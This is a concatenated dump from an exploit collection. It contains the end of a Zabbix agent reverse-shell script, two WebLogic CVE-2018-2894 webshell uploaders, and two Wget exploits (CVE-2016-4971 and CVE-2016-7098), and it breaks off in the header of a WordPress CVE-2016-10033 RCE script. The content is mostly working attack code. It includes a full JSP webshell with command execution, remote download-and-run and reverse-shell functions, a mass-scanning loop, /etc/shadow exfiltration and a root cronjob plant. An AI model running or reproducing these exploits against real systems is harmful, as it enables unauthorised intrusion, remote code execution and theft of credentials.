socket.timeout, ssl.SSLError: 194 | # Agent connection remained opened for 2 seconds after the bash payload was sent, 195 | # it looks like the sleep 2s shell command must have got executed sucessfuly 196 | payload_executed = 1 197 | 198 | if (payload_executed == 1) : 199 | print "\nLooks like Zabbix Agent executed our bash payload! Check your netcat listening on port %d for shell! :)\n" % shell_port 200 | else: 201 | print "\nNo luck. No Zabbix Agent listening on 10050 port or remote commands are disabled :(\n" 202 | 203 | shutdown(0) 204 | -------------------------------------------------------------------------------- /WebLogic/CVE-2018-2894.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding:utf-8 3 | # Build By LandGrey 4 | 5 | import re 6 | import sys 7 | import time 8 | import argparse 9 | import requests 10 | import traceback 11 | import xml.etree.ElementTree as ET 12 | 13 | 14 | def get_current_work_path(host): 15 | geturl = host + "/ws_utc/resources/setting/options/general" 16 | ua = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:49.0) Gecko/20100101 Firefox/49.0'} 17 | values = [] 18 | try: 19 | request = requests.get(geturl) 20 | if request.status_code == 404: 21 | exit("{} 404 not found".format(geturl)) 22 | elif "Deploying Application".lower() in request.text.lower(): 23 | print("[*] First Deploying Website Please wait a moment ...") 24 | time.sleep(20) 25 | request = requests.get(geturl, headers=ua) 26 | if "" in request.content: 27 | root = ET.fromstring(request.content) 28 | value = root.find("section").find("options") 29 | for e in value: 30 | for sub in e: 31 | if e.tag == "parameter" and sub.tag == "defaultValue": 32 | values.append(sub.text) 33 | except requests.ConnectionError: 34 | exit("[-] Cannot connect url: {}".format(geturl)) 35 | if values: 36 | return values[0] 37 | else: 38 | print("[-] Cannot get current work path\n") 39 | exit(request.content) 40 | 41 | 42 | def get_new_work_path(host): 43 | origin_work_path = get_current_work_path(host) 44 | works = "/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war" 45 | if "user_projects" in origin_work_path: 46 | if "\\" in origin_work_path: 47 | works = works.replace("/", "\\") 48 | current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects\\domains" 49 | dir_len = len(current_work_home.split("\\")) 50 | domain_name = origin_work_path.split("\\")[dir_len] 51 | current_work_home += "\\" + domain_name + works 52 | else: 53 | current_work_home = origin_work_path[:origin_work_path.find("user_projects")] + "user_projects/domains" 54 | dir_len = len(current_work_home.split("/")) 55 | domain_name = origin_work_path.split("/")[dir_len] 56 | current_work_home += "/" + domain_name + works 57 | else: 58 | current_work_home = origin_work_path 59 | print("[*] cannot handle current work home dir: {}".format(origin_work_path)) 60 | return current_work_home 61 | 62 | 63 | def set_new_upload_path(host, path): 64 | data = { 65 | "setting_id": "general", 66 | "BasicConfigOptions.workDir": path, 67 | "BasicConfigOptions.proxyHost": "", 68 | "BasicConfigOptions.proxyPort": "80"} 69 | request = requests.post(host + "/ws_utc/resources/setting/options", data=data, headers=headers) 70 | if "successfully" in request.content: 71 | return True 72 | else: 73 | print("[-] Change New Upload Path failed") 74 | exit(request.content) 75 | 76 | 77 | def upload_webshell(host, uri): 78 | set_new_upload_path(host, get_new_work_path(host)) 79 | files = { 80 | "ks_edit_mode": "false", 81 | "ks_password_front": password, 82 | "ks_password_changed": "true", 83 | "ks_filename": ("360sglab.jsp", upload_content) 84 | } 85 | 86 | request = requests.post(host + uri, files=files) 87 | response = request.text 88 | match = re.findall("(.*?)", response) 89 | if match: 90 | tid = match[-1] 91 | shell_path = host + "/bea_wls_internal/config/keystore/" + str(tid) + "_360sglab.jsp" 92 | if upload_content in requests.get(shell_path, headers=headers).content: 93 | print("[+] {} exists CVE-2018-2894".format(host)) 94 | print("[+] Check URL: {} ".format(shell_path)) 95 | else: 96 | print("[-] {} don't exists CVE-2018-2894".format(host)) 97 | else: 98 | print("[-] {} don't exists CVE-2018-2894".format(host)) 99 | 100 | 101 | if __name__ == "__main__": 102 | start = time.time() 103 | password = "360sglab" 104 | url = "/ws_utc/resources/setting/keystore" 105 | parser = argparse.ArgumentParser() 106 | parser.add_argument("-t", dest='target', default="http://127.0.0.1:7001", type=str, 107 | help="target, such as: http://example.com:7001") 108 | 109 | upload_content = "360sglab test" 110 | headers = { 111 | 'Content-Type': 'application/x-www-form-urlencoded', 112 | 'X-Requested-With': 'XMLHttpRequest', } 113 | 114 | if len(sys.argv) == 1: 115 | sys.argv.append('-h') 116 | args = parser.parse_args() 117 | target = args.target 118 | 119 | target = target.rstrip('/') 120 | if "://" not in target: 121 | target = "http://" + target 122 | try: 123 | upload_webshell(target, url) 124 | except Exception as e: 125 | print("[-] Error: \n") 126 | traceback.print_exc() 127 | -------------------------------------------------------------------------------- /WebLogic/CVE-2018-2894_v2.py: -------------------------------------------------------------------------------- 1 | #coding=utf-8 2 | #Author By ddea 3 | import requests 4 | 5 | rs = open ("weblogic_ip1.txt","r")#被检测ip的文件 6 | b = open ("havebigin3.txt","a+")#存在漏洞的输出文件 7 | b.write("asdfasdf") 8 | for line in rs.readlines(): 9 | session = requests.Session() 10 | timeout = 40 11 | site = line.strip() 12 | url = site + "ws_utc/resources/ws/config/import" 13 | url2 = site + "console/framework/skins/wlsconsole/images/_cat.jsp" 14 | print (url) 15 | payload4 = {"action":"exec","cmd":"whoami"} 16 | paramsGet = {"timestamp":"1522216072056"} 17 | paramsMultipart = [('../../../../../../../wlserver/server/lib/consoleapp/webapp/framework/skins/wlsconsole/images/', ('cat.jsp', "<%@page import=\"java.util.zip.ZipEntry\"%>\n<%@page import=\"java.util.zip.ZipOutputStream\"%>\n<%@ page language=\"java\" pageEncoding=\"UTF-8\"%>\n<%@page import=\"java.util.*\"%>\n<%@page import=\"java.text.SimpleDateFormat\"%>\n<%@ page import=\"java.io.*\" %>\n<%@ page import=\"java.net.*\" %>\n<%!\n\x09static String encoding = \"UTF-8\";\n\x09\n\x09static{\n\x09\x09encoding = isNotEmpty(getSystemEncoding())?getSystemEncoding():encoding;\n\x09}\n\x09\n\x09/**\n\x09 * \xe5\xbc\x82\xe5\xb8\xb8\xe8\xbd\xac\xe6\x8d\xa2\xe6\x88\x90\xe5\xad\x97\xe7\xac\xa6\xe4\xb8\xb2\xef\xbc\x8c\xe8\x8e\xb7\xe5\x8f\x96\xe8\xaf\xa6\xe7\xbb\x86\xe5\xbc\x82\xe5\xb8\xb8\xe4\xbf\xa1\xe6\x81\xaf\n\x09 * @param e\n\x09 * @return\n\x09 */\n\x09static String exceptionToString(Exception e) {\n\x09 StringWriter sw = new StringWriter();\n\x09 e.printStackTrace(new PrintWriter(sw, true));\n\x09 return sw.toString();\n\x09}\n\x09\n\x09/**\n\x09 * \xe8\x8e\xb7\xe5\x8f\x96\xe7\xb3\xbb\xe7\xbb\x9f\xe6\x96\x87\xe4\xbb\xb6\xe7\xbc\x96\xe7\xa0\x81\n\x09 * @return\n\x09 */\n\x09static String getSystemEncoding(){\n\x09\x09return System.getProperty(\"sun.jnu.encoding\");\n\x09}\n\x09\n\x09/**\n\x09 * \xe9\x9d\x9e\xe7\xa9\xba\xe5\x88\xa4\xe6\x96\xad\n\x09 *\n\x09 * @param obj\n\x09 * @return\n\x09 */\n\x09static boolean isNotEmpty(Object obj) {\n\x09 if (obj == null) {\n\x09 return false;\n\x09 }\n\x09 return !\"\".equals(String.valueOf(obj).trim());\n\x09}\n\x09\n\x09/**\n\x09 * \xe8\xbe\x93\xe5\x85\xa5\xe6\xb5\x81\xe8\xbd\xac\xe4\xba\x8c\xe8\xbf\x9b\xe5\x88\xb6\xe6\x95\xb0\xe7\xbb\x84\xe8\xbe\x93\xe5\x87\xba\xe6\xb5\x81\n\x09 * @param in\n\x09 * @return\n\x09 * @throws IOException\n\x09 */\n\x09static ByteArrayOutputStream inutStreamToOutputStream(InputStream in) throws IOException{\n\x09\x09ByteArrayOutputStream baos = new ByteArrayOutputStream();\n\x09\x09byte[] b = new byte[1024];\n\x09 int a = 0;\n\x09 while((a = in.read(b))!=-1){\n\x09 \x09baos.write(b,0,a);\n\x09\x09}\n\x09\x09return baos;\n\x09}\n\x09\n\x09/**\n\x09 * \xe5\xa4\x8d\xe5\x88\xb6\xe6\xb5\x81\xe5\x88\xb0\xe6\x96\x87\xe4\xbb\xb6\xef\xbc\x8c\xe5\xa6\x82\xe6\x9e\x9c\xe6\x96\x87\xe4\xbb\xb6\xe5\xad\x98\xe5\x9c\xa8\xe9\xbb\x98\xe8\xae\xa4\xe4\xbc\x9a\xe8\xa6\x86\xe7\x9b\x96\n\x09 * @param in\n\x09 * @param path\n\x09 * @throws IOException\n\x09 */\n\x09static void copyInputStreamToFile(InputStream in,String path) throws IOException{\n\x09\x09FileOutputStream fos = new FileOutputStream(path);\n\x09\x09fos.write(inutStreamToOutputStream(in).toByteArray());\n\x09\x09fos.flush();\n\x09\x09fos.close();\n\x09}\n\x09\n\x09/**\n\x09 * \xe6\xa8\xa1\xe4\xbb\xbfLinux\xe4\xb8\x8b\xe7\x9a\x84cat Windows\xe4\xb8\x8b\xe7\x9a\x84type \xe6\x9f\xa5\xe7\x9c\x8b\xe6\x96\x87\xe4\xbb\xb6\xe5\x86\x85\xe5\xae\xb9 \n\x09 * @param path\n\x09 * @return\n\x09 * @throws IOException\n\x09 */\n\x09static String cat(String path) throws IOException {\n\x09\x09return new String(inutStreamToOutputStream(new FileInputStream(path)).toByteArray());\n\x09}\n\x09\n\x09/**\n\x09 * \xe6\x89\xa7\xe8\xa1\x8c\xe6\x93\x8d\xe4\xbd\x9c\xe7\xb3\xbb\xe7\xbb\x9f\xe5\x91\xbd\xe4\xbb\xa4 \xe5\xa6\x82\xe6\x9e\x9c\xe6\x98\xafwindows\xe6\x9f\x90\xe4\xba\x9b\xe5\x91\xbd\xe4\xbb\xa4\xe6\x89\xa7\xe8\xa1\x8c\xe4\xb8\x8d\xe4\xba\x86\xef\xbc\x8c\xe5\x8f\xaf\xe4\xbb\xa5\xe7\x94\xa8 cmd /c dir \xe6\x89\xa7\xe8\xa1\x8cdir\xe5\x91\xbd\xe4\xbb\xa4\n\x09 * @param cmd\n\x09 * @return\n\x09 */\n\x09static String exec(String cmd) {\n\x09\x09try {\n\x09\x09\x09return new String(inutStreamToOutputStream(Runtime.getRuntime().exec(cmd).getInputStream()).toByteArray(),encoding);\n\x09\x09} catch (IOException e) {\n\x09\x09\x09return exceptionToString(e);\n\x09\x09}\n\x09}\n\x09\n\x09/**\n\x09 * \xe4\xb8\x8b\xe8\xbd\xbd\xe6\x96\x87\xe4\xbb\xb6\xe5\x88\xb0\xe6\x8c\x87\xe5\xae\x9a\xe7\x9b\xae\xe5\xbd\x95,\xe4\xbf\x9d\xe5\xad\x98\xe7\x9a\x84\xe6\x96\x87\xe4\xbb\xb6\xe5\x90\x8d\xe5\xbf\x85\xe9\xa1\xbb\xe6\x8c\x87\xe5\xae\x9a\n\x09 * @param url\n\x09 * @param path\n\x09 * @throws MalformedURLException\n\x09 * @throws IOException\n\x09 */\n\x09static void download(String url,String path) throws MalformedURLException, IOException{\n\x09\x09copyInputStreamToFile(new URL(url).openConnection().getInputStream(), path);\n\x09}\n\x09\n\x09/**\n\x09 * \xe8\xbf\x9e\xe6\x8e\xa5\xe8\xbf\x9c\xe7\xa8\x8b\xe7\xab\xaf\xe5\x8f\xa3\xef\xbc\x8c\xe6\x8f\x90\xe4\xbe\x9b\xe6\x9c\xac\xe5\x9c\xb0\xe5\x91\xbd\xe4\xbb\xa4\xe6\x89\xa7\xe8\xa1\x8c\xe5\x85\xa5\xe5\x8f\xa3\n\x09 * @param host\n\x09 * @param port\n\x09 * @throws UnknownHostException\n\x09 * @throws IOException\n\x09 */\n\x09static void shell(String host,int port) throws UnknownHostException, IOException{\n\x09\x09Socket s = new Socket(host,port);\n\x09\x09OutputStream out = s.getOutputStream();\n\x09\x09InputStream in = s.getInputStream();\n\x09\x09out.write((\"User:\\t\"+exec(\"whoami\")).getBytes());\n\x09\x09int a = 0;\n\x09\x09byte[] b = new byte[1024];\n\x09\x09while((a=in.read(b))!=-1){\n\x09\x09\x09out.write(exec(new String(b,0,a,\"UTF-8\").trim()).getBytes(\"UTF-8\"));\n\x09\x09}\n\x09}\n\x09\n\x09/**\n\x09 * \xe4\xb8\x8b\xe8\xbd\xbd\xe8\xbf\x9c\xe7\xa8\x8b\xe6\x96\x87\xe4\xbb\xb6\xe5\xb9\xb6\xe6\x89\xa7\xe8\xa1\x8c\xef\xbc\x8c\xe5\x91\xbd\xe4\xbb\xa4\xe6\x89\xa7\xe8\xa1\x8c\xe5\xae\x8c\xe6\x88\x90\xe5\x90\x8e\xe4\xbc\x9a\xe5\x88\xa0\xe9\x99\xa4\xe4\xb8\x8b\xe8\xbd\xbd\xe7\x9a\x84\xe6\x96\x87\xe4\xbb\xb6\n\x09 * @param url\n\x09 * @param fileName\n\x09 * @param cmd\n\x09 * @return\n\x09 * @throws MalformedURLException\n\x09 * @throws IOException\n\x09 */\n\x09static String auto(String url,String fileName,String cmd) throws MalformedURLException, IOException{\n\x09\x09download(url, fileName);\n\x09\x09String out = exec(cmd);\n\x09\x09new File(fileName).delete();\n\x09\x09return out;\n\x09}\n\x09\n\x09static void saveFile(String file,String data) throws IOException{\n\x09\x09copyInputStreamToFile(new ByteArrayInputStream(data.getBytes()), file);\n\x09}\n\x09\n\x09/**\n\x09 * \xe6\x96\x87\xe4\xbb\xb6\xe5\x8e\x8b\xe7\xbc\xa9\n\x09 * @throws IOException\n\x09 */\n\x09static void zipFile(ZipOutputStream zos,File file) throws IOException{\n\x09\x09if(file.isDirectory() && file.canRead()){\n\x09\x09\x09File[] files = file.listFiles();\n\x09\x09\x09for(File f:files){\n\x09\x09\x09\x09zipFile(zos, f);\n\x09\x09\x09}\n\x09\x09}else{\n\x09\x09\x09ZipEntry z = new ZipEntry(file.getName());\n zos.putNextEntry(z);\n zos.write(inutStreamToOutputStream(new FileInputStream(file)).toByteArray());\n zos.closeEntry();\n\x09\x09}\n\x09}\n\x09\n\x09static void zip(ByteArrayOutputStream out,File file) throws IOException{\n\x09\x09ZipOutputStream zos = new ZipOutputStream(out);\n\x09\x09zipFile(zos,file);\n\x09}\n\x09\n%>\n\n\n<%=application.getServerInfo() %>\n\n\n\n\n\n<%\n\x09try{\n\x09\x09String action = request.getParameter(\"action\");\n\x09\x09String path = isNotEmpty(request.getParameter(\"p\"))?request.getParameter(\"p\"):new File((isNotEmpty(application.getRealPath(\"/\"))?application.getRealPath(\"/\"):\".\")).getCanonicalPath();\n\x09\x09out.println(\"
\");\n\x09\x09if(isNotEmpty(action) && !\"get\".equalsIgnoreCase(action)){\n\x09\x09\x09if(\"shell\".equalsIgnoreCase(action)){\n\x09\x09\x09\x09shell(request.getParameter(\"host\"), Integer.parseInt(request.getParameter(\"port\")));\n\x09\x09\x09}else if(\"downloadL\".equalsIgnoreCase(action)){\n\x09\x09\x09\x09download(request.getParameter(\"url\"), request.getParameter(\"path\"));\n\x09\x09\x09\x09out.println(\"\xe6\x96\x87\xe4\xbb\xb6\xe4\xb8\x8b\xe8\xbd\xbd\xe6\x88\x90\xe5\x8a\x9f.\");\n\x09\x09\x09}else if(\"exec\".equalsIgnoreCase(action)){\n\x09\x09\x09\x09out.println(\"

\xe5\x91\xbd\xe4\xbb\xa4\xe6\x89\xa7\xe8\xa1\x8c:

\");\n\x09\x09\x09\x09out.println(\"
\"+exec(request.getParameter(\"cmd\"))+\"
\");\n\x09\x09\x09}else if(\"cat\".equalsIgnoreCase(action)){\n\x09\x09\x09\x09out.println(\"

\xe6\x96\x87\xe4\xbb\xb6\xe6\x9f\xa5\xe7\x9c\x8b:

\");\n\x09\x09\x09\x09out.println(\"
\"+cat(request.getParameter(\"path\"))+\"
\");\n\x09\x09\x09}else if(\"auto\".equalsIgnoreCase(action)){\n\x09\x09\x09\x09out.println(\"

Auto:

\");\n\x09\x09\x09\x09out.println(\"
\"+auto(request.getParameter(\"url\"),request.getParameter(\"fileName\"),request.getParameter(\"cmd\"))+\"
\");\n\x09\x09\x09}else if(\"download\".equalsIgnoreCase(action)){\n\x09\x09\x09\x09response.setContentType(\"application/x-download\");\n\x09\x09\x09\x09File file = new File(path,request.getParameter(\"fileName\"));\n\x09\x09\x09\x09String fileName = file.isDirectory() ? file.getName()+\".zip\":file.getName();\n\x09\x09\x09\x09response.setHeader(\"Content-Disposition\", \"attachment; filename=\"+fileName);\n\x09\x09\x09\x09BufferedOutputStream bos = new BufferedOutputStream(response.getOutputStream());\n\x09\x09\x09\x09if(file.isDirectory()){\n\x09\x09\x09\x09\x09ByteArrayOutputStream baos = new ByteArrayOutputStream();\n\x09\x09\x09\x09\x09zip(baos, file);\n\x09\x09\x09\x09\x09bos.write(baos.toByteArray());\n\x09\x09\x09\x09\x09baos.close();\n\x09\x09\x09\x09}else{\n\x09\x09\x09\x09\x09InputStream in = new FileInputStream(file);\n\x09\x09\x09\x09\x09int len;\n\x09\x09\x09\x09\x09byte[] buf = new byte[1024];\n\x09\x09\x09\x09\x09while ((len = in.read(buf)) > 0) {\n\x09\x09\x09\x09\x09\x09bos.write(buf, 0, len);\n\x09\x09\x09\x09\x09}\n\x09\x09\x09\x09\x09in.close();\n\x09\x09\x09\x09}\n\x09\x09\x09\x09bos.close();\n\x09\x09\x09\x09out.clear();\n\x09\x09\x09\x09out = pageContext.pushBody();\n\x09\x09\x09\x09return ;\n\x09\x09\x09}else if(\"saveFile\".equalsIgnoreCase(action)){\n\x09\x09\x09\x09String file = request.getParameter(\"file\");\n\x09\x09\x09\x09String data = request.getParameter(\"data\");\n\x09\x09\x09\x09if(isNotEmpty(file) && isNotEmpty(data)){\n\x09\x09\x09\x09\x09saveFile(new String(file.getBytes(\"ISO-8859-1\"),\"utf-8\"),new String(data.getBytes(\"ISO-8859-1\"),\"utf-8\"));\n\x09\x09\x09\x09\x09out.println(\"\");\n\x09\x09\x09\x09}\n\x09\x09\x09}\n\x09\x09}else{\n\x09\x09\x09File file = new File(path);\n\x09\x09\x09if(file.isDirectory()){\n%>\n

Directory Listing For <%=path%>

\n
\n\n\n\n\n\n\n\n<%\x09\x09\x09\x09\x09\n\x09\x09\x09\x09List ls = new ArrayList();\n\x09\x09\x09\x09ls.add(new File(file,\"..\"));\n\x09\x09\x09\x09ls.addAll(Arrays.asList(file.listFiles()));\n\x09\x09\x09\x09for(int i = 0; i < ls.size(); i++){\n\x09\x09\x09\x09\x09File f = ls.get(i);\n\x09\x09\x09\x09\x09String fileCanonicalPath = f.getCanonicalPath().replaceAll(\"\\\\\\\\\",\"/\");\n\x09\x09\x09\x09\x09out.println(\"\");\n\x09\x09\x09\x09}\n\x09\x09\x09}else{\n\x09\x09\x09\x09out.println(\"

\xe6\x96\x87\xe4\xbb\xb6\xe7\xbc\x96\xe8\xbe\x91:

\");\n\x09\x09\x09\x09out.println(\"File:

\");\n\x09\x09\x09\x09out.println(\"\");\n\x09\x09\x09}\n\x09\x09}\n\x09\x09out.println(\"
\xe6\x96\x87\xe4\xbb\xb6\xe5\x90\x8d\xe6\x96\x87\xe4\xbb\xb6\xe5\xa4\xa7\xe5\xb0\x8f\xe6\x96\x87\xe4\xbb\xb6\xe4\xb8\x8b\xe8\xbd\xbd\xe6\x9c\x80\xe5\x90\x8e\xe4\xbf\xae\xe6\x94\xb9\xe6\x97\xb6\xe9\x97\xb4
  \"+f.getName()+\"\"+(f.length()/1000)+\"KB\xe4\xb8\x8b\xe8\xbd\xbd\"+new SimpleDateFormat(\"yyyy-MM-dd hh:mm:ss\").format(new Date(f.lastModified())) +\"
\");\n\x09\x09out.println(\"

\"+application.getServerInfo()+\"

\");\n\x09}catch(Exception e){\n\x09\x09out.println(\"
\"+exceptionToString(e)+\"
\");\n\x09}\n%>\n", 'application/octet-stream'))] 18 | #上传的文件,可以换成txt 19 | headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0","Referer":"http://200.120.137.180:7001/ws_utc/begin.do","Connection":"close","Accept-Language":"en-US,en;q=0.5","Accept-Encoding":"gzip, deflate"} 20 | cookies = {"JSESSIONID":"l45rHIDksK5T6YxryhUxlbSUu8NIa0v-MAlPINuyBsv1vdnyD1Ft!-306100299"} 21 | errorwhile = "Error while importing test" 22 | while True: 23 | try: 24 | response = session.post(url, files=paramsMultipart, params=paramsGet, headers=headers, cookies=cookies,verify=False,timeout=20) 25 | #with区块退出后会话能被关闭即使发生了异常也一样 26 | #print("Status code: %i" % response.status_code) 27 | #print("Response body: %s" % response.content) 28 | #print (response.content.index(errorwhile)) #如果返回的内容中包含errorwhile的值 29 | if (response.content.find(errorwhile)) > 0: 30 | print (site,"have Vulnerability") 31 | b.writelines(url) 32 | b.writelines("\n") 33 | b.flush() 34 | try: 35 | resurl4 = session.get(url2,params=payload4,headers=headers,verify=False,timeout=20) 36 | print("Status code: %i" % resurl4.status_code) 37 | print("Response body: %s" % resurl4.content) 38 | #resurl5 = session.get(url2,params=payload5,headers=headers,verify=False,timeout=20) 39 | #print ("resurl5:",resurl5.content) 40 | print("=================================================================================================================================================") 41 | session.close 42 | break 43 | except: 44 | break 45 | elif (response.content.find("Deploying Application")) > 0: 46 | print ("Dep error") 47 | continue 48 | else: 49 | break 50 | except: 51 | session.close 52 | break 53 | else: 54 | break 55 | -------------------------------------------------------------------------------- /Wget/wget-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # 4 | # Wget 1.18 < Arbitrary File Upload Exploit 5 | # Dawid Golunski 6 | # dawid( at )legalhackers.com 7 | # 8 | # http://legalhackers.com/advisories/Wget-Arbitrary-File-Upload-Vulnerability-Exploit.txt 9 | # 10 | # CVE-2016-4971 11 | # 12 | 13 | import SimpleHTTPServer 14 | import SocketServer 15 | import socket; 16 | 17 | class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): 18 | def do_GET(self): 19 | # This takes care of sending .wgetrc 20 | 21 | print "We have a volunteer requesting " + self.path + " by GET :)\n" 22 | if "Wget" not in self.headers.getheader('User-Agent'): 23 | print "But it's not a Wget :( \n" 24 | self.send_response(200) 25 | self.end_headers() 26 | self.wfile.write("Nothing to see here...") 27 | return 28 | 29 | print "Uploading .wgetrc via ftp redirect vuln. It should land in /root \n" 30 | self.send_response(301) 31 | new_path = '%s'%('ftp://anonymous@%s:%s/.wgetrc'%(FTP_HOST, FTP_PORT) ) 32 | print "Sending redirect to %s \n"%(new_path) 33 | self.send_header('Location', new_path) 34 | self.end_headers() 35 | 36 | def do_POST(self): 37 | # In here we will receive extracted file and install a PoC cronjob 38 | 39 | print "We have a volunteer requesting " + self.path + " by POST :)\n" 40 | if "Wget" not in self.headers.getheader('User-Agent'): 41 | print "But it's not a Wget :( \n" 42 | self.send_response(200) 43 | self.end_headers() 44 | self.wfile.write("Nothing to see here...") 45 | return 46 | 47 | content_len = int(self.headers.getheader('content-length', 0)) 48 | post_body = self.rfile.read(content_len) 49 | print "Received POST from wget, this should be the extracted /etc/shadow file: \n\n---[begin]---\n %s \n---[eof]---\n\n" % (post_body) 50 | 51 | print "Sending back a cronjob script as a thank-you for the file..." 52 | print "It should get saved in /etc/cron.d/wget-root-shell on the victim's host (because of .wgetrc we injected in the GET first response)" 53 | self.send_response(200) 54 | self.send_header('Content-type', 'text/plain') 55 | self.end_headers() 56 | self.wfile.write(ROOT_CRON) 57 | 58 | print "\nFile was served. Check on /root/hacked-via-wget on the victim's host in a minute! :) \n" 59 | 60 | return 61 | 62 | HTTP_LISTEN_IP = '192.168.57.1' 63 | HTTP_LISTEN_PORT = 80 64 | FTP_HOST = '192.168.57.1' 65 | FTP_PORT = 21 66 | 67 | ROOT_CRON = "* * * * * root /usr/bin/id > /root/hacked-via-wget \n" 68 | 69 | handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) 70 | 71 | print "Ready? Is your FTP server running?" 72 | 73 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 74 | result = sock.connect_ex((FTP_HOST, FTP_PORT)) 75 | if result == 0: 76 | print "FTP found open on %s:%s. Let's go then\n" % (FTP_HOST, FTP_PORT) 77 | else: 78 | print "FTP is down :( Exiting." 79 | exit(1) 80 | 81 | print "Serving wget exploit on port %s...\n\n" % HTTP_LISTEN_PORT 82 | 83 | handler.serve_forever() 84 | -------------------------------------------------------------------------------- /Wget/wget-race-exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # 4 | # Wget < 1.18 Access List Bypass / Race Condition PoC Exploit 5 | # CVE-2016-7098 6 | # 7 | # Dawid Golunski 8 | # https://legalhackers.com 9 | # 10 | # 11 | # This PoC wget exploit can be used to bypass wget -A access list and upload a malicious 12 | # file for long enough to take advantage of it. 13 | # The exploit sets up a web server on port 80 and waits for a download request from wget. 14 | # It then supplies a PHP webshell payload and requests the uploaded file before it gets 15 | # removed by wget. 16 | # 17 | # Adjust target URL (WEBSHELL_URL) before executing. 18 | # 19 | # Full advisory at: 20 | # 21 | # https://legalhackers.com/advisories/Wget-Exploit-ACL-bypass-RaceCond-CVE-2016-7098.html 22 | # 23 | # Disclaimer: 24 | # 25 | # For testing purposes only. Do no harm. 26 | # 27 | # 28 | 29 | import SimpleHTTPServer 30 | import time 31 | import SocketServer 32 | import urllib2 33 | import sys 34 | 35 | HTTP_LISTEN_IP = '0.0.0.0' 36 | HTTP_LISTEN_PORT = 80 37 | 38 | PAYLOAD=''' 39 | 44 | ''' 45 | 46 | # Webshell URL to be requested before the connection is closed 47 | # i.e before the uploaded "temporary" file gets removed. 48 | WEBSHELL_URL="http://victimsvr/image_uploads/webshell.php" 49 | 50 | # Command to be executed through 'cmd' GET paramter of the webshell 51 | CMD="/usr/bin/id" 52 | 53 | 54 | class wgetExploit(SimpleHTTPServer.SimpleHTTPRequestHandler): 55 | def do_GET(self): 56 | # Send the payload on GET request 57 | print "[+] Got connection from wget requesting " + self.path + " via GET :)\n" 58 | self.send_response(200) 59 | self.send_header('Content-type', 'text/plain') 60 | self.end_headers() 61 | self.wfile.write(PAYLOAD) 62 | print "\n[+] PHP webshell payload was sent.\n" 63 | 64 | # Wait for the file to be flushed to disk on remote host etc. 65 | print "[+} Sleep for 2s to make sure the file has been flushed to the disk on the target...\n" 66 | time.sleep(2) 67 | 68 | # Request uploaded webshell 69 | print "[+} File '" + self.path + "' should be saved by now :)\n" 70 | print "[+} Executing " + CMD + " via webshell URL: " + WEBSHELL_URL + "?cmd=" + CMD + "\n" 71 | print "[+} Command result: " 72 | print urllib2.urlopen(WEBSHELL_URL+"?cmd="+CMD).read() 73 | 74 | print "[+} All done. Closing HTTP connection...\n" 75 | # Connection will be closed on request handler return 76 | return 77 | 78 | handler = SocketServer.TCPServer((HTTP_LISTEN_IP, HTTP_LISTEN_PORT), wgetExploit) 79 | 80 | print "\nWget < 1.18 Access List Bypass / Race Condition PoC Exploit \nCVE-2016-7098\n\nDawid Golunski \nhttps://legalhackers.com \n" 81 | print "[+} Exploit Web server started on HTTP port %s. Waiting for wget to connect...\n" % HTTP_LISTEN_PORT 82 | 83 | handler.serve_forever() 84 | 85 | 86 | -------------------------------------------------------------------------------- /WordPress/wordpress-rce-exploit.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # 3 | # __ __ __ __ __ 4 | # / / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________ 5 | # / / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/ 6 | # / /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ ) 7 | # /_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/ 8 | # /____/ 9 | # 10 | # 11 | # WordPress 4.6 - Remote Code Execution (RCE) PoC Exploit 12 | # CVE-2016-10033 13 | # 14 | # wordpress-rce-exploit.sh (ver. 1.0) 15 | # 16 | # 17 | # Discovered and coded by 18 | # 19 | # Dawid Golunski (@dawid_golunski) 20 | # https://legalhackers.com 21 | # 22 | # ExploitBox project: 23 | # https://ExploitBox.io 24 | # 25 | # 26 | # Full advisory URL: 27 | # https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html 28 | # 29 | # Exploit src URL: 30 | # https://exploitbox.io/exploit/wordpress-rce-exploit.sh 31 | # 32 | # 33 | # Tested on WordPress 4.6: 34 | # https://github.com/WordPress/WordPress/archive/4.6.zip 35 | # 36 | # Usage: 37 | # ./wordpress-rce-exploit.sh target-wordpress-url 38 | # 39 | # 40 | # Disclaimer: 41 | # For testing purposes only 42 | # 43 | # 44 | # ----------------------------------------------------------------- 45 | # 46 | # Interested in vulns/exploitation? 47 | # 48 | # 49 | # .;lc' 50 | # .,cdkkOOOko;. 51 | # .,lxxkkkkOOOO000Ol' 52 | # .':oxxxxxkkkkOOOO0000KK0x:' 53 | # .;ldxxxxxxxxkxl,.'lk0000KKKXXXKd;. 54 | # ':oxxxxxxxxxxo;. .:oOKKKXXXNNNNOl. 55 | # '';ldxxxxxdc,. ,oOXXXNNNXd;,. 56 | # .ddc;,,:c;. ,c: .cxxc:;:ox: 57 | # .dxxxxo, ., ,kMMM0:. ., .lxxxxx: 58 | # .dxxxxxc lW. oMMMMMMMK d0 .xxxxxx: 59 | # .dxxxxxc .0k.,KWMMMWNo :X: .xxxxxx: 60 | # .dxxxxxc .xN0xxxxxxxkXK, .xxxxxx: 61 | # .dxxxxxc lddOMMMMWd0MMMMKddd. .xxxxxx: 62 | # .dxxxxxc .cNMMMN.oMMMMx' .xxxxxx: 63 | # .dxxxxxc 